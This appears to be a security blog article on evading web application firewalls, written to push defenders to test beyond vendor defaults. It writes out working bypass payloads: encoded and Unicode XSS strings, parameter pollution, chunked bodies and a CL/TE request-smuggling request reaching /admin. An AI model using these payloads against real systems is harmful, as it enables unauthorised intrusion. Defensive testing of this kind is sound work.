WAF Evasion Techniques: What Your Vendor Won't Demo

The Illusion of Default Protection

Every WAF vendor ships a default ruleset. Every customer enables it. And every experienced attacker knows exactly how to walk through it.

The problem isn’t that WAFs don’t work. The problem is that most organizations test their WAF the same way the vendor demos it — with textbook payloads that were designed to be caught.

Encoding-Based Evasion

The simplest bypass category, and still the most effective:

URL Encoding Chains

# Textbook (blocked)
<script>alert(1)</script>

# Double URL encode (often bypasses)
%253Cscript%253Ealert(1)%253C%252Fscript%253E

# Mixed encoding
%3Cscr%69pt%3Ealert%281%29%3C/scr%69pt%3E

WAFs that decode once miss payloads that are encoded twice. The application server decodes both layers, executing the payload.

Unicode & UTF-8 Tricks

# Unicode fullwidth characters
＜script＞alert(1)＜/script＞

# Overlong UTF-8 encoding
%C0%BCscript%C0%BEalert(1)%C0%BC/script%C0%BE

These exploit the gap between how the WAF normalizes input and how the backend interprets it.

Protocol-Level Evasion

More sophisticated, and harder to defend against:

HTTP Parameter Pollution (HPP)

# Single parameter (blocked)
GET /search?q=<script>alert(1)</script>

# Split across duplicate parameters
GET /search?q=<script>alert&q=(1)</script>

Many WAFs inspect only the first or last instance of a duplicated parameter. The application framework concatenates them.

Content-Type Confusion

# Standard form POST (inspected by WAF)
Content-Type: application/x-www-form-urlencoded

# Same payload, different content type (often uninspected)
Content-Type: text/plain
Content-Type: application/xml

If the WAF only deep-inspects known content types, switching to an unexpected type can bypass inspection entirely.

Chunked Transfer Encoding

POST /api/submit HTTP/1.1
Transfer-Encoding: chunked

4
<scr
4
ipt>
9
alert(1)
a
</script>
0

The payload is split across chunks. WAFs that inspect the body as a whole see fragments; the server reassembles them.

Request Smuggling

The nuclear option. When the WAF and the backend disagree on where one request ends and another begins:

POST / HTTP/1.1
Content-Length: 13
Transfer-Encoding: chunked

0

GET /admin HTTP/1.1

This exploits the CL/TE desync — the WAF sees one request, the origin server sees two. The second request bypasses the WAF entirely.

Attack Traffic Flow

The following diagram illustrates how normal traffic flows through a typical WAF-protected architecture — and how evasion techniques allow attackers to bypass inspection and reach the origin server directly.

What This Means for Your Security Posture

1. Default rulesets are a starting point, not a destination. If you haven’t tuned your WAF in the last 90 days, assume it’s bypassable.
2. Test with attacker methodology, not vendor methodology. Use evasion chains, not individual payloads.
3. Monitor what gets through, not just what gets blocked. Your WAF logs should tell you about attempts; your application logs tell you about successes.
4. Layer your defenses. WAF alone is not application security. It’s one layer in a stack that should include input validation, output encoding, CSP headers, and runtime protection.

Next Steps

If you want to test your own WAF’s resilience against these techniques, check out the WAF Test Engine — an automated framework that runs real evasion chains against live targets.